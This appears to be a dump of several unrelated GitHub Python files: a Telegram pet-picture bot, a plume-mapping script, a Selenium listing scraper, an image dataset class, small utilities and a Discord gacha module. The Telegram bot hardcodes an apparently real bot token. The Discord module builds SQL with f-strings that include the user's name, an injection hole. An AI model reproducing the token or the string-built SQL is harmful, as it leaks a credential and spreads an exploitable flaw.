{"seq_id":"6838419236","text":"from telegram.ext import Updater, CommandHandler\nimport requests\n# dogs library: https://dog.ceo/api/breeds/image/random\n\ndef get_cat_url():\n     r = requests.get('http://aws.random.cat/meow').json()\n     return r['file']\n\ndef get_dog_url():\n     r = requests.get('https://random.dog/woof.json').json()\n     return r['url']\n\ndef drop_cat(bot, update):\n    url = get_cat_url()\n    chat_id = update.message.chat_id\n    bot.send_photo(chat_id=chat_id, photo=url)\n\ndef drop_dog(bot, update):\n    url = get_dog_url()\n    chat_id = update.message.chat_id\n    bot.send_photo(chat_id=chat_id, photo=url)\ndef main():\n    updater = Updater('782286279:AAG2hy2CZ8SxPBhP8bccuxZhF9h6sBZ3H_E')\n    dp = updater.dispatcher\n    dp.add_handler(CommandHandler('cat', drop_cat))\n    dp.add_handler(CommandHandler('dog', drop_dog))\n    updater.start_polling()\n    updater.idle()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"lubitelpospat/rcat","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70580922022","text":"import geopandas as gpd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport re\nimport os\nimport sys\nimport pandas as pd\nimport flopy.utils.binaryfile as bf\nfrom matplotlib.colors import BoundaryNorm, Normalize, LinearSegmentedColormap\nimport matplotlib.ticker as ticker\n\n'''\nReadme\n    - Use Python Version 3\n    - To run script: use \"python main.py input_file\"\n      for example: python main.py input/input.csv\n    - Check output in the output folder.     \n\n\n'''\n\n\ndef create_new_dir(directory):\n    # directory = os.path.dirname(file_path)\n    try:\n        os.stat(directory)\n    except:\n        os.mkdir(directory)\n        print(f'Created a new directory {directory}\\n')\n\n\ndef create_output_folders():\n    create_new_dir('output')\n    create_new_dir('output/png')\n    create_new_dir('output/shp')\n    create_new_dir(f'output/png/conc_{var}')\n    create_new_dir(f'output/shp/conc_{var}')\n\n\ndef read_ucn(ifile_ucn):\n    ucnobj = bf.UcnFile(ifile_ucn, precision='double')\n    times = ucnobj.get_times()\n    data = ucnobj.get_alldata(mflay=None, nodata=-1)/1000\n    ntimes, nlay, nr, nc = data.shape\n    # times = ucnobj.get_times()\n    # for t in times:\n    #    conc = ucnobj.get_data(totim=t)\n    return data, ntimes, nlay, nr, nc, times, ucnobj\n\n\ndef generate_map1(arr, ofile, ptitle, levels, colors, xy):\n    '''\n        - Generate 2D plume maps\n        - Last updated on 3/15/2022 by hpham\n    '''\n\n    # Mapping using GeoPandas\n    fig, ax = plt.subplots(nrows=1, ncols=1, figsize=(10, 8))\n\n    #\n    dx = pd.read_csv(f'input/delx.csv')\n    dy = pd.read_csv(f'input/dely.csv')\n    dx_mesh_edge = dx.X-dx.delx/2\n    dy_mesh_edge = dy.Y+dy.dely/2\n\n    cmap = LinearSegmentedColormap.from_list(\"\", colors)\n\n    norm = BoundaryNorm(levels, ncolors=cmap.N, clip=True)\n    im = ax.pcolormesh(dx_mesh_edge, dy_mesh_edge, arr,\n                       cmap=cmap, norm=norm, alpha=1)\n\n    # Plot 2 - Show Basalt Above Water Table\n    show_Basalt = True\n    if show_Basalt:\n        ifile = f'input/shp_files/Basalt_Above_Water_Table.shp'\n        layer = gpd.read_file(ifile)\n        layer.plot(ax=ax, alpha=1,  color='#bdbdbd',  # linewidth=0.25,\n                   edgecolor='none', zorder=1, legend=True, label='Basalt Above Water Table')\n\n    # Plot 3 - GWIA\n    show_gwia = False\n    if show_gwia:\n        ifile_zone = f'input/shp_files/GWIA_2017.shp'\n        # ifile_zone = f'input/GIS/hss/test_domain.shp'\n        zones = gpd.read_file(ifile_zone)\n        zones.plot(ax=ax, alpha=0.1, linewidth=0.75, color='none',\n                   edgecolor='k', zorder=1, legend=True, label='GWIA')\n        # zones.apply(lambda x: ax.annotate(s=x.GWIA_NAME,\n        #                                  xy=x.geometry.centroid.coords[0], ha='center'), axis=1)\n    # Plot 4 - Inner_and_Outer_Boundary\n    show_Inner_and_Outer_Boundary = False\n    if show_Inner_and_Outer_Boundary:\n        ifile_zone = f'input/shp_files/Inner_and_Outer_Boundary.shp'\n        zones = gpd.read_file(ifile_zone)\n        # zones.plot(ax=ax, alpha=0.25, linewidth=0.5, color='none',\n        #           edgecolor='#636363', zorder=1, legend=True, label='Waste Site')  # darkred\n\n    # Plot 5 - show former operational areas (e.g. 200W, 200E, etc.)\n    show_OU = True\n    if show_OU:\n        ifile_zone = f'input/shp_files/bdjurdsv.shp'\n        zones = gpd.read_file(ifile_zone)\n        zones.plot(ax=ax, alpha=0.25, linewidth=0.5, color='none',\n                   edgecolor='#636363', zorder=1, legend=True, label='Waste Site')  # darkred\n        # zones.apply(lambda x: ax.annotate(s=x.NAME,\n        #                                  xy=x.geometry.centroid.coords[0], ha='center'), axis=1)\n\n    # Plot 6 - show River\n    show_river = True\n    if show_river:\n        ifile_zone = f'input/shp_files/River.shp'\n        zones = gpd.read_file(ifile_zone)\n        # print(zones.head())\n        zones.plot(ax=ax, alpha=0.3, linewidth=0.75, color='#2b8cbe',\n                   edgecolor='#2b8cbe', zorder=2, legend=True, label='River')\n    # Plot 7\n    show_mcali_zone = False\n    if show_mcali_zone:\n        ifile_zone = f'input/shp_files/P2Rv831_focus_calibration_area.shp'\n        zones = gpd.read_file(ifile_zone)\n        # print(zones.head())\n        zones.plot(ax=ax, alpha=0.75, linewidth=1.25, color='none',\n                   edgecolor='blue', zorder=2, legend=True, label='Focused_MCali_Zone')\n\n    # Plot 8 - show AWLN\n    show_AWLN = False\n    if show_AWLN:\n        ifile_zone = f'input/shp_files/AWLN.shp'\n        zones = gpd.read_file(ifile_zone)\n        # print(zones.head())\n        zones.plot(ax=ax, alpha=0.75, linewidth=0.75, color='#eff3ff',\n                   edgecolor='#3182bd', zorder=3, legend=True, label='AWLN')\n        zones.apply(lambda x: ax.annotate(s=x.Name,\n                                          xy=x.geometry.centroid.coords[0], ha='center'), axis=1)\n    # Plot 9 - Show CA Compliance boundary\n    show_CA_Boundary = False\n    if show_CA_Boundary:\n        ifile = f'input/shp_files/CompositeAnalysis_1998.shp'\n        zones = gpd.read_file(ifile)\n        zones.plot(ax=ax, alpha=0.25, linewidth=1.5, color='none',\n                   edgecolor='k', zorder=1, legend=True, label='CA Compliance Boundary')\n\n    #divider = make_axes_locatable(ax)\n    #cax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\n    # fig.colorbar(im, ax=ax, format=ticker.FuncFormatter(\n    #    fmt), fraction=0.046, pad=0.04)\n    fig.colorbar(im, fraction=0.02, pad=0.04, format=ticker.FuncFormatter(fmt))\n\n    #\n    ax.set_title(ptitle)\n    ax.set_xlim([dx.X.min(), dx.X.max()])\n    ax.set_ylim([dy.Y.min(), dy.Y.max()])\n    #\n    ax.set_xlim([xy[0], xy[1]])  # xmin, xmax\n    ax.set_ylim([xy[2], xy[3]])  # ymin, ymax\n\n    # plt.gca().set_aspect('equal', adjustable='box')\n    fig.savefig(ofile, dpi=300, transparent=False, bbox_inches='tight')\n    print(f'Saved {ofile}\\n')\n    # plt.show()\n    plt.close('all')\n\n\ndef conv_str2num(str):\n    '''\n    Convert a list of strings to list of numbers\n    '''\n    clevels = []\n    for i in str:\n        clevels.append(float(i))\n    return clevels\n\n\ndef fmt(x, pos):\n    a, b = '{:.2e}'.format(x).split('e')\n    b = int(b)\n    return r'${} \\times 10^{{{}}}$'.format(a, b)\n\n\ndef arr2shp(arr, ofile):\n    '''\n    Export an arry to a shapefile\n    '''\n    nr, nc = arr.shape\n    print(nr, nc)\n    val = np.reshape(arr, nr*nc)\n\n    # use model grid shapefile geometry\n    # model grid shapefile\n    try:\n        gridShp = os.path.join('input', 'shp_files', 'grid_274_geo_rc.shp')\n    except:\n        print('ERROR: Specify path to grid_274_geo_rc.shp')\n    gdf = gpd.read_file(gridShp)\n    df = pd.DataFrame()\n    df['row'] = gdf['row']\n    df['column'] = gdf['column']\n    df['val'] = val\n\n    # export shapefile\n    gdf1 = gpd.GeoDataFrame(df, crs='EPSG:4326', geometry=gdf.geometry)\n    # ofile_shp = os.path.join(\n    #    work_dir, 'scripts', 'output', 'shp', 'Cmax_trit_ts76.shp')\n    gdf1.to_file(driver='ESRI Shapefile', filename=ofile)\n    print(f'Saved {ofile} ! ! !')\n\n\nif __name__ == \"__main__\":\n\n    # [1] Load input file -----------------------------------------------------\n    #ifile = f'input/input.csv'\n    ifile = sys.argv[1]\n\n    # read input file ---------------------------------------------------------\n    dfin = pd.read_csv(ifile)\n    dfin = dfin.set_index('var')\n\n    # Read lines in the input file --------------------------------------------\n    sce = dfin['name'].loc['sce']\n    var = dfin['name'].loc['var']\n    ucn_file = dfin['name'].loc['ucn_file']  # full path to ucn file\n    conc_cutoff = float(dfin['name'].loc['conc_cutoff'])\n    contour_levels = re.split(',', dfin['name'].loc['contour_levels'])\n    contour_levels = conv_str2num(contour_levels)  # convert to list of numbers\n    colors = re.split(',', dfin['name'].loc['color_levels'])\n    list_sp = re.split(',', dfin['name'].loc['list_sp'])\n    list_sp = conv_str2num(list_sp)\n\n    list_layer = re.split(',', dfin['name'].loc['list_layer'])\n    list_layer = conv_str2num(list_layer)\n    map_dim = re.split(',', dfin['name'].loc['map_dim'])\n    map_dim = conv_str2num(map_dim)\n\n    ucn2png = dfin['name'].loc['ucn2png']\n    ucn2shp = dfin['name'].loc['ucn2shp']\n\n    # [1] Map spatial distribution of total mass/activity arriving at water table\n    if ucn2png == 'yes':\n        '''\n        This generates plume maps (in png files): \n            + for a given layers and stress periods, or \n            + for maximum plume footprint (max over all model layers)\n        '''\n\n        # Create some output folders to write outputs\n        create_output_folders()\n\n        # Read ucn file using flopy -------------------------------------------\n        data, ntimes, nlay, nr, nc, times, ucnobj = read_ucn(ucn_file)\n        print(f'nrow={nr}, ncol={nc}, nlay={nlay}, nsp={ntimes}\\n')\n\n        data = np.ma.masked_less_equal(data, conc_cutoff)\n        Cmax_over_layer = np.nanmax(data, 1)\n\n        vmin, vmax = np.nanmin(data), np.nanmax(data)\n        print(f'Cmin={vmin}, Cmax={vmax}\\n')\n\n        for ilay in list_layer:\n            for isp in list_sp:\n                if ilay == 999:\n                    arr = Cmax_over_layer[int(isp)-1, :, :]\n                    ptitle = f'COC: {var}, Layer: Max Footprint, SP: {isp}'\n                    # output png file\n                    ofile_png = f'output/png/conc_{var}/Conc_{var}_Lay_max_SP_{int(isp)}.png'\n                    if ucn2shp == 'yes':\n                        ofile_shp = f'output/shp/conc_{var}/Conc_{var}_Lay_max_SP_{int(isp)}.shp'\n                        arr2shp(arr, ofile_shp)\n                        print(f'Saved {ofile_shp}\\n')\n                else:\n                    arr = data[int(isp)-1, int(ilay)-1, :, :]\n                    ptitle = f'COC: {var}, Layer: {ilay}, SP: {isp}'\n                    # output png file\n                    ofile_png = f'output/png/conc_{var}/Conc_{var}_Lay_{int(ilay)}_SP_{int(isp)}.png'\n                    if ucn2shp == 'yes':\n                        ofile_shp = f'output/shp/conc_{var}/Conc_{var}_Lay_{int(ilay)}_SP_{int(isp)}.shp'\n                        arr2shp(arr, ofile_shp)\n                        print(f'Saved {ofile_shp}\\n')\n\n                # Map array arr -----------------------------------------------\n                generate_map1(arr, ofile_png, ptitle, contour_levels,\n                              colors, map_dim)\n                print(f'Saved {ofile_png}\\n')\n","repo_name":"HPham-INTERA/ucn2png","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35293131672","text":"from selenium import webdriver\nimport time\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.support import expected_conditions\nfrom selenium.common.exceptions import NoSuchElementException\nimport csv\nimport pandas as pd\nfrom page_objects.constants import Constants\n\n\nclass Page():\n    def  __init__(self,driver):\n        self.driver= driver\n        self.EC =  expected_conditions\n        self.NoSuchElementException =  NoSuchElementException\n\n    def closeCookiesPopup(self):\n        closeCookiesPopup = self.driver.find_element(By.XPATH,Constants.CLOSECOOKIESPOPUP).click()\n\n\n\n    def inputlocation(self):\n        inputlocation = self.driver.find_element(By.XPATH,Constants.LOCATIONINPUT).click()\n        time.sleep(2)\n        selectLocation = self.driver.find_element(By.XPATH,Constants.SELECTLOCATION).click()\n        time.sleep(2)\n        closePopup = self.driver.find_element(By.XPATH,Constants.CLOSEINFOPOPUP).click()\n\n\n\n\n    def selectPricefilter(self):\n        opePricefilter = self.driver.find_element(By.XPATH,Constants.OPENPRICEFILTER).click()\n        time.sleep(2)\n        selectFromPricefilter = self.driver.find_element(By.XPATH,Constants.SELECTFROMPRICEFILTER).send_keys(Constants.PRICEFROM)\n        selectToPricefilter = self.driver.find_element(By.XPATH,Constants.SELECTTOPRICEFILTER).send_keys(Constants.PRICETO)\n        selectPricefilter = self.driver.find_element(By.XPATH,Constants.SELECTPRICEFILTER).click()\n\n\n\n    def selectRoomsfilter(self):\n        openRoomsfilter = self.driver.find_element(By.XPATH,Constants.OPENROOMSFILTER).click()\n        time.sleep(2)\n        selectRoomsfilter = self.driver.find_element(By.XPATH,Constants.SELECTROOMSFILTER).click()\n        applyRoomsfilter = self.driver.find_element(By.XPATH,Constants.APPLYROOMSFIILTER).click()\n\n\n\n    def selectSortingfilter(self):\n        openSortingfilter =  self.driver.find_element(By.XPATH,Constants.OPENSORTINGFILTER).click()\n        time.sleep(1)\n        selectSortingfilter = self.driver.find_element(By.XPATH,Constants.SELECSORTINGFILTERS).click()\n    # -------------------------------------------------------------------------------------------------------------------------\n    def scrollToTheBottom(self):\n        self.driver.execute_script(\"window.scrollTo(0,document.body.scrollHeight)\")\n        time.sleep(2)\n        self.driver.execute_script(\"window.scrollTo(0,document.body.scrollHeight)\")\n    def showAllSearchResults(self):\n        wait = WebDriverWait(self.driver, 15)\n        while True:\n           try:\n            self.scrollToTheBottom()\n            clickShowMore =  wait.until(self.EC.element_to_be_clickable(self.driver.find_element(By.XPATH,Constants.SHOWMOREBUTTON)))\n            clickShowMore.click()\n           except self.NoSuchElementException:\n               break\n\n\n    def extractAllRooms(self,dictionary):\n        time.sleep(5)\n        allfoundRoomsAddress = self.driver.find_elements(By.XPATH,    Constants.ALLFOUNDROOMSADDRESS)\n        allfoundRoomsPrices = self.driver.find_elements(By.XPATH,    Constants.ALLFOUNDROOMSPRICES)\n        # allfoundRoomsDescription = driver.find_elements(By.XPATH,\n        #                                            \"//div[contains(@class,'desc-hidden')]\")\n        allfoundRoomsPublicationDate = self.driver.find_elements(By.XPATH,                                               Constants.ALLFOUNDROOMSDATE)\n\n        for j in range(0,len(allfoundRoomsAddress)):\n            dictionary[len(dictionary)] = {\n                            'address':allfoundRoomsAddress[j].text,\n                'price':allfoundRoomsPrices[j].text,\n                'date': allfoundRoomsPublicationDate[j].text\n            }\n\n\n    def writeToCSV(self,dictionary,headers,csv_file_path):\n        with open(csv_file_path, 'w', newline='', encoding='utf-8') as csv_file:\n            writer = csv.DictWriter(csv_file, fieldnames=headers)\n\n            # Write the header row\n            writer.writeheader()\n\n            # Write the data rows\n            for room_number, room_info in dictionary.items():\n                writer.writerow({'Room Number': room_number, 'Address': room_info['address'], 'Price': room_info['price'],\n                                 'Date': room_info['date']})\n\n\n    def goThroughPages(self):\n        numberofPages = self.driver.find_element(By.XPATH,\n        \"//span[contains(@class,'pagerMobileScroll')]//a[contains(@class,'page-item button-border')][3]\")\n        for i in range(1, int(numberofPages.text)+1):\n            page =  self.driver.find_element(By.XPATH,\n                                \"//span[contains(@class,'pagerMobileScroll')]//a[contains(@class,'page-item button-border')][\"+str(i)+\"]\")\n            driver.execute_script(\"arguments[0].scrollIntoView();\", page)\n            driver.execute_script(\"arguments[0].click();\", page)\n","repo_name":"AndriiLototskyi/test_scraper","sub_path":"page_objects/page.py","file_name":"page.py","file_ext":"py","file_size_in_byte":4943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71880759781","text":"\"\"\"This dataset represents a single training or test set\"\"\"\nimport copy\nfrom typing import List, Tuple, Optional\nfrom brambox.boxes.annotations import Annotation\nimport lightnet.data as lnd\nfrom torchvision import transforms as torch_transforms\nfrom PIL import Image\n\nDEFAULT_SIZE = (416, 416)\nJITTER = 0.2\nFLIP = 0.5\nHUE = 0.1\nSAT = 1.5\nVAL = 1.5\n\nclass BramboxDataset(lnd.Dataset):\n    @staticmethod\n    def build_default(image_paths: List[str], annotations: Optional[List[Annotation]]=None, input_dimension=DEFAULT_SIZE):\n        lb = lnd.transform.Letterbox(dimension=input_dimension)\n        rf = lnd.transform.RandomFlip(FLIP)\n        rc = lnd.transform.RandomCrop(JITTER, True, 0.1)\n        hsv = lnd.transform.HSVShift(HUE, SAT, VAL)\n        it = torch_transforms.ToTensor()\n        image_transforms = lnd.transform.Compose([hsv, rc, rf, lb, it])\n        annotation_transforms = lnd.transform.Compose([rc, rf, lb])\n        return BramboxDataset(image_paths, annotations, input_dimension, image_transforms, annotation_transforms)\n\n    def __init__(self, image_paths: List[str], annotations: Optional[List[Annotation]], input_dimension=DEFAULT_SIZE, image_transforms=None, annotation_transforms=None):\n        \"\"\"\n        Args:\n            image_paths: list of image paths\n            annotations (List): (Annotation) list of brambox bounding boxes\n            input_dimension (tuple): (width,height) tuple with default dimensions of the network\n            img_transform (torchvision.transforms.Compose): Transforms to perform on the images\n            annotation_transforms (torchvision.transforms.Compose): Transforms to perform on the annotations\n        \"\"\"\n        super().__init__(input_dimension)\n        if annotations != None:\n            assert len(image_paths) == len(annotations)\n\n        self.image_transforms = image_transforms\n        self.annotation_transforms = annotation_transforms\n        self.image_paths = image_paths\n        self.annotations = annotations\n\n    def __len__(self):\n        return len(self.image_paths)\n\n    @lnd.Dataset.resize_getitem\n    def __getitem__(self, index):\n        \"\"\" Get transformed image and annotations based of the index of ``self.keys``\n\n        Args:\n            index (int): index of the `image_paths`, `annotations` list containing all the image identifiers of the dataset.\n\n        Returns:\n            tuple: (transformed image, list of transformed brambox boxes)\n        \"\"\"\n        if index >= len(self):\n            raise IndexError(f'list index out of range [{index}/{len(self)-1}]')\n\n        # Load\n        img = Image.open(self.image_paths[index])\n        annotation = None\n\n        if self.annotations != None:\n            annotation = copy.deepcopy(self.annotations[index])\n\n        # Transform\n        if self.image_transforms is not None:\n            img = self.image_transforms(img)\n        if self.annotation_transforms is not None and self.annotations != None:\n            annotation = self.annotation_transforms(annotation)\n\n        return img, annotation\n","repo_name":"czhu12/labelling-tool","sub_path":"code/utils/lightnet/brambox_dataset.py","file_name":"brambox_dataset.py","file_ext":"py","file_size_in_byte":3038,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"2987119371","text":"#input 2 coordinates and calculate the distance between the two points\nimport math\n\n\ndef DistanceFormula(x1, y1, x2, y2):\n    end = False\n    \n    try:\n        x1 = int(x1)\n        y1 = int(y1)\n        x2 = int(x2)\n        y2 = int(y2)\n    except ValueError:\n        print (\"Invalid Input\")\n        distance = \"Invalid Input\"\n        end = True\n    if (end == True):\n        return distance\n    \n    first = (x2 - x1)\n    second = (y2 - y1)\n    first = pow(first, 2)\n    second = pow(second, 2)\n    distance = math.sqrt(first + second)\n    return distance\n","repo_name":"DevOps-MSU/Assignment3","sub_path":"distanceformula.py","file_name":"distanceformula.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26064594284","text":"from prettytable import PrettyTable\nimport csv\nimport sys\n\n#\n#  Program calculates most frequently appearing word in saved CSV dump of group for sale ads\n#  Data from: https://www.facebook.com/groups/369460706502532/\n#  All posts between 2013-04-04T04:46:32+0000 and 2014-07-10T02:04:20+0000\n#  Author: Bryce Danz\n#\n\ntry:\n    stopwords = sys.argv[1];\n    input_file = sys.argv[2];\n    output_file = sys.argv[3];\n\nexcept IndexError:\n    print (\"Usage: analyzefrequency.py stopwords input_file output_file\")\n    sys.exit(1)\n\n#load stopwords file\nstopwords = set(open('stopwords.txt').read().split())\n\n#create empty dictionary to hold frequency counts\nwords = {}\n\n#add words in a row to the dictionary\ndef process_row(row):\n    sentence = (row.split())\n    for word in sentence:\n        word = word.lower()\n        if not word in stopwords and len(word) < 20:\n            words[word] = words.get(word, 0) + 1\n\n#read in the data\nwith open(input_file, 'r') as csvfile:\n    data = csv.reader(csvfile, delimiter='\\t', quotechar='\"')\n    for row in data:\n        process_row(row[0])\n\n#sort the dictionary by frequency for display\nresult = sorted([value, key] for (key, value) in words.items())\n\n#print highest counts first\nresult.reverse()\n\n#close CSV\ncsvfile.close()\n\n#write frequency results to CSV\nofile = open(output_file, \"w\")\nwriter = csv.writer(ofile, delimiter='\\t', quotechar='\"', quoting=csv.QUOTE_ALL)\nfor row in result:\n    writer.writerow(row)\nofile.close()\n\n\n\n\n\n","repo_name":"brycedanz/Facebook-Group-Analysis-Tools","sub_path":"analyzefrequency.py","file_name":"analyzefrequency.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7440236802","text":"\"\"\"\nManages all the summon tools.\n\n-- \n\nAuthod : DrLarck\n\nLast update : 22/08/19 (DrLarck)\n\"\"\"\n\n# dependancies\nimport asyncio\nfrom string import ascii_letters\nfrom random import randint, uniform, choice\n\n# util\nfrom utility.database.database_manager import Database\nfrom utility.cog.character.getter import Character_getter\nfrom utility.cog.banner._sorted_banner import Sorted_banner\nfrom configuration.bot import Bot_config\n\n# summon tools\nclass Summoner:\n    \"\"\"\n    Manages all the utilities for the summon feature.\n    \n    - Parameter :\n\n    `client` : Represents a `discord.Client`. The client must contain a database pool (i.e Database.init())\n    \"\"\"\n\n    # attribute\n    def __init__(self, client):\n        self.db = Database(client.db)\n        self.sorted = None\n\n    # method\n    async def sort(self, character_list, banner = \"basic\"):\n        \"\"\"\n        `coroutine`\n\n        Sort the character contained in `character_list`.\n\n        - Parameter : \n\n        `character_list` : A list of characters (global id) to sort\n\n        `banner` : Banner name : \"basic\", \"expansion\", \"muscle\n\n        --\n\n        Return : dict \n\n        - Key\n\n        LIST OF GLOBAL ID\n        `n` : list - The normal characters.\n\n        `r` : list - The rare characters.\n\n        `sr` : list - The super rare characters.\n\n        `ssr` : list - The super super rare characters.\n\n        `ur` : list - The ultra rare characters.\n\n        `lr` : list - The legendary characters.\n        \"\"\"\n\n        # init\n        getter = Character_getter()\n        self.sorted = {\n            \"n\" : [],\n            \"r\" : [],\n            \"sr\" : [],\n            \"ssr\" : [],\n            \"ur\" : [],\n            \"lr\" : []\n        }\n        characters = []\n\n        # get characters' instance\n        for character in character_list:\n            await asyncio.sleep(0)\n\n            _character = await getter.get_character(character)\n            characters.append(_character)\n        \n        # now sort the characters\n        for char in characters:\n            await asyncio.sleep(0)\n\n            if(char != None):  # getter return None if the character has not been found\n                # get the rarity of the character\n                rarity = char.rarity.value\n\n                # sort it\n                # append the global id of the character\n                    # N\n                if(rarity == 0):\n                    self.sorted[\"n\"].append(char.info.id)\n                    \n                    # R\n                elif(rarity == 1):\n                    self.sorted[\"r\"].append(char.info.id)\n\n                    # SR\n                elif(rarity == 2):\n                    self.sorted[\"sr\"].append(char.info.id)\n\n                    # SSR\n                elif(rarity == 3):\n                    self.sorted[\"ssr\"].append(char.info.id)\n\n                    # UR\n                elif(rarity == 4):\n                    self.sorted[\"ur\"].append(char.info.id)\n\n                    # LR\n                elif(rarity == 5):\n                    self.sorted[\"lr\"].append(char.info.id)\n        \n        # storing the dict\n        if(banner == \"basic\"):\n            Sorted_banner.basic = self.sorted\n        \n        elif(banner == \"expansion\"):\n            Sorted_banner.expansion = self.sorted\n        \n        elif(banner == \"muscle\"):\n            Sorted_banner.muscle_tower = self.sorted\n\n        # returns the dict\n        return(self.sorted)\n        \n    async def generate_unique_id(self, reference) :\n        \"\"\"\n        `coroutine`\n\n        Generates a unique id according to the LLLLN form.\n\n        - Parameter :\n\n        `reference` : Represents an integer to convert into a unique id.\n\n        --\n\n        Return : unique id (str) form LLLLN\n        \"\"\"\n\n        # init\n        unique_id = \"\"\n\n            # tiers\n            # numerical value\n        n, t1, t2, t3, t4 = 0, 0, 0, 0, 0\n\n            # alphabetical value\n        letter = ascii_letters\n\n        # generation\n            # storing the biggest value in n\n        n = int(reference / pow(52, 4))\n        reference -= n * pow(52, 4)  # substract as the lower tiers cannot handle a huge amount\n\n            # now dispatching the value through the tiers\n            # each tier can store 52^tier_index - 1 values\n            # the lowest tier (1) can only store 52 values\n        t4 = int(reference / pow(52, 3))\n        reference -= t4 * pow(52, 3)\n\n        t3 = int(reference / pow(52, 2))\n        reference -= t3 * pow(52, 2)\n\n        t2 = int(reference / 52)\n        reference -= t2 * 52\n\n        t1 = reference\n\n        # get the unique id generated\n        unique_id = f\"{letter[t1]}{letter[t2]}{letter[t3]}{letter[t4]}{n}\"\n\n        return(unique_id)\n    \n    async def set_unique_id(self):\n        \"\"\"\n        `coroutine`\n\n        Set a unique id for all the characters stored in the database with 'NONE' as unique id value.\n\n        --\n\n        Return : None\n        \"\"\"\n\n        # init\n        characters = []\n        query_fetch = \"SELECT * FROM character_unique WHERE character_unique_id = 'NONE';\"\n\n        characters = await self.db.fetch(query_fetch)\n\n        # now generate a unique id for the characters\n\n        for character in range(len(characters)):\n            await asyncio.sleep(0)\n            \n            # get the reference value\n            reference = characters[character][0]\n            unique_id = await self.generate_unique_id(reference)\n\n            # query\n            query_update = f\"UPDATE character_unique SET character_unique_id = '{unique_id}' WHERE reference = {reference};\"\n            await self.db.execute(query_update)\n        \n        return\n    \n    # summoning\n    async def summon(self, summoner, _type = \"basic\"):\n        \"\"\"\n        `coroutine`\n\n        Summon a random character according its rarity.\n\n        - Parameter : \n\n        `summoner` : discord.Member - The player who has summoned.\n\n        `_type` : str - The banner type : basic, expansion, muscle\n\n        --\n\n        Return : character instance\n        \"\"\"\n\n        # init\n        summon_list = []\n        getter = Character_getter()\n        droprate = Bot_config.droprate\n        drawn_character = None\n        draw = 0\n        cost = 0\n        \n        # check if the lists are sorted or not\n        if(Sorted_banner.is_sorted == False):\n            print(\"(SUMMON) Banners are not sorted.\")\n            return\n\n        if(_type == \"basic\"):\n            summon_list = Sorted_banner.basic\n            cost = 5\n\n        elif(_type == \"expansion\") :\n           summon_list = Sorted_banner.expansion\n           cost = 10\n        \n        elif(_type == \"muscle\"):\n            summon_list = Sorted_banner.muscle_tower\n        \n        # draw a random character\n        # LR\n        draw = uniform(0, 100)\n        if(draw <= droprate[\"lr\"]):\n            if(len(summon_list[\"lr\"]) > 0):  # check if the list is empty\n                drawn_character = choice(summon_list[\"lr\"])\n                drawn_character = await getter.get_character(drawn_character)\n            \n            else:\n                pass\n        \n        # UR\n        draw = uniform(0, 100)\n        if(draw <= droprate[\"ur\"]):\n            if(len(summon_list[\"ur\"]) > 0):  # check if the list is empty\n                drawn_character = choice(summon_list[\"ur\"])\n                drawn_character = await getter.get_character(drawn_character)\n            \n            else:\n                pass\n        \n        # SSR\n        draw = uniform(0, 100)\n        if(draw <= droprate[\"ssr\"]):\n            if(len(summon_list[\"ssr\"]) > 0):  # check if the list is empty\n                drawn_character = choice(summon_list[\"ssr\"])\n                drawn_character = await getter.get_character(drawn_character)\n            \n            else:\n                pass\n        \n        # SR\n        draw = uniform(0, 100)\n        if(draw <= droprate[\"sr\"]):\n            if(len(summon_list[\"sr\"]) > 0):  # check if the list is empty\n                drawn_character = choice(summon_list[\"sr\"])\n                drawn_character = await getter.get_character(drawn_character)\n            \n            else:\n                pass\n        \n        # R\n        draw = uniform(0, 100)\n        if(draw <= droprate[\"r\"]):\n            if(len(summon_list[\"r\"]) > 0):  # check if the list is empty\n                drawn_character = choice(summon_list[\"r\"])\n                drawn_character = await getter.get_character(drawn_character)\n            \n            else:\n                pass\n        \n        # N\n        draw = uniform(0, 100)\n        if(draw <= droprate[\"n\"]):\n            if(len(summon_list[\"n\"]) > 0):  # check if the list is empty\n                drawn_character = choice(summon_list[\"n\"])\n                drawn_character = await getter.get_character(drawn_character)\n            \n            else:\n                pass\n        \n        # generate random characteristics\n        char_type = randint(0, 4)\n        drawn_character.type.value = char_type\n\n        # insert the new character into the database\n        await self.db.execute(\n            f\"\"\"\n            INSERT INTO character_unique(character_owner_id, character_owner_name, character_global_id, character_type, character_rarity)\n            VALUES({summoner.id}, '{summoner.name}', {drawn_character.info.id}, {drawn_character.type.value}, {drawn_character.rarity.value})\n            \"\"\"\n        )\n\n        # set the unique id\n        await self.set_unique_id()\n        \n        return(drawn_character)","repo_name":"RvstFyth/discordballz","sub_path":"utility/command/_summon.py","file_name":"_summon.py","file_ext":"py","file_size_in_byte":9460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
